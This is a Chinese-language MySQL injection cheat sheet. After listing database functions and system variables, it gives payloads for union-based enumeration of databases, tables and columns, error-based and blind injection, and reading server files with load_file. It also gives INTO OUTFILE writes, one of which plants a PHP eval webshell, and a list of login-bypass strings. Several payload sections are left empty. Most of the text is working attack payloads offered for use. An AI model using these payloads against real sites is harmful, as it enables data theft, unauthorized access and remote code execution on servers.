mysql注入备忘录
基本
information_schema
1 | information_schema这这个数据库中保存了MySQL服务器所有数据库的信息。 |
查看当前系统版本
- @@version_compile_os
查看当前数据库版本
- version()
- @@version
- @@global.version
当前登录用户
- user()
- current_user()
- system_user()
- session_user()
当前使用的数据库
- database()
- schema()
路径相关
- @@BASEDIR : mysql安装路径:
- @@SLAVE_LOAD_TMPDIR : 临时文件夹路径:
- @@DATADIR : 数据存储路径:
- @@CHARACTER_SETS_DIR : 字符集设置文件路径
- @@LOG_ERROR : 错误日志文件路径:
- @@PID_FILE : pid-file文件路径
- @@BASEDIR : mysql安装路径:
- @@SLAVE_LOAD_TMPDIR : 临时文件夹路径:
联合数据
1 | concat(str1,str2) //将字符串首尾相连 |
字母/数字相关
- ASCII(): 获取字母的ascii码值
- BIN(): 返回值的二进制串表示
- CONV(): 进制转换
- FLOOR()
- ROUND()
- LOWER():转成小写字母
- UPPER(): 转成大写字母
- HEX():十六进制编码
- UNHEX():十六进制解码
字符串截取
1 | left(str,index) //从左边第index开始截取 |
注释
1 | # (单行注释符,url记得编码为%23) |
字符串运算符
1、算术运算
1 | 加:+ |
2、 位操作运算
1 | & 按位与 |
3、 比较运算符
安全等于:<=>
1 | '=0<=>1# 拼接的语句:where username=''=0<=>1#' |
不等于<>(!=)
1 | '=0<>0# 拼接的语句:where username=''=0<>0#' |
大小于>或<
1 | '>-1# 拼接的语句:where username=''>-1# |
4、逻辑运算符
1 | not或! 非 |
5、其他
1 | '+1 is not null# |
注入技术
判断是否存在注入
假设网址为www.xxx.com/test.php?id=1
数值型注入
1 | id=1+1 |
字符型注入
1 | id=1' |
联合查询
判断字段数
1 | id=1 order by 11# |
查看回显字段
1 | id=11 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11# |
库
库名长度
1 | select length(database()) |
当前库名
1 | 1. database() |
所有库名
1 | select group_concat(schema_name) from information_schema.schemata |
表
表的张数
1 | #表张数 < 10 |
表名的长度
1 | 1.借助limit求表名长度的方法 |
表名
1 | 1. 这种方法需要借助limit,这种方法需要注入出表的张数,也需要注入出表名的长度 |
列
列的个数
1 | #列个数 < 10 |
列名的长度
1 | 1.借助limit求列名长度的方法 |
列名
1 | 1. 这种方法需要借助limit,这种方法需要注入出列的张数,也需要注入出列名的长度 |
值
值的个数
1 | select count(*) from 表名 limit 0,1 |
值的长度
1 | 1.借助group_concat求值长度的方法 |
值
1 | select group_concat(字段1,字段2 separator 0x2c) from 库名.表名 |
报错注入
floor()
1 | select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); |
extractvalue()(有长度限制,最长32位)
1 | select * from table_id where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))); |
updatexml()(有长度限制,最长32位)
1 | select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)); |
geometrycollection()
1 |
multipoint()
1 |
polygon()
1 |
multipolygon()
1 |
linestring()
1 |
multilinestring()
1 |
exp()
1 |
盲注
盲注场景
在许多情况下,通过前面的测试会发现页面没有回显提取的数据,但是根据语句是否执行成功与否会有一些相应的变化。
- 正确/错误的语句使得页面有适度的变化。可以尝试使用布尔注入
- 正确语句返回正常页面,错误的语句返回通用错误页面。可以尝试使用布尔注入。
- 提交错误语句,不影响页面的正常输出。建议尝试使用延时注入。
布尔盲注-基于响应
1 | if(1=1,1,0) |
xor异或注入
1 | id='^(1)^' |
延时盲注函数
1 | sleep() |
tips
当字符串被过滤时,又没有回显的情况下,可以使用length('select')=6
来测试是否有被过滤
insert/update/delete注入
这里主要是运用报错注入和盲注,都是老姿势
二次注入
文件读写
利用sql注入可以导入导出文件,获取文件内容,或向文件写入内容。
查询用户读写权限:
1 | SELECT file_priv FROM mysql.user WHERE user = 'username'; |
load_file()读取
条件
- 需要有读取文件的权限
- 需要知道文件的绝对物理路径。
- 要读取的文件大小必须小于 max_allowed_packet
1 | SELECT @@max_allowed_packet; |
payload
直接使用绝对路径,注意对路径中斜杠的处理。
1 | UNION SELECT LOAD_FILE("C://TEST.txt") # |
使用编码
1 | UNION SELECT LOAD_FILE(CHAR(67,58,92,92,84,69,83,84,46,116,120,116)) # |
不过在mysql5.7
时候secure_file_priv为NULL
,所以无法读出
into outfile
条件
- 要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道
- 要有file权限,默认情况下只有root有
- 对目录要有写权限,一般image之类的存放突破的目录就有
payload
1 | UNION SELECT DATABASE() INTO OUTFILE 'C:\\phpstudy\\WWW\\test\\1'; |
写入webshell
条件
- 需要知道网站的绝对物理路径,这样导出后的webshell可访问
- 对需导出的目录有可写权限。
payload
1 | UNION SELECT "<?php eval($_POST['cmd'])?>" INTO OUTFILE 'C:/phpstudy/WWW/test/webshell.php'; |
万能密码后台登陆
- admin’–
- admin’#
- admin’/*
- or ‘=’ or
- ‘ or 1=1–
- ‘’ or 1=1#
- ‘ or 1=1/*
- ‘) or ‘1’=’1–
- ‘) or (‘1’=’1–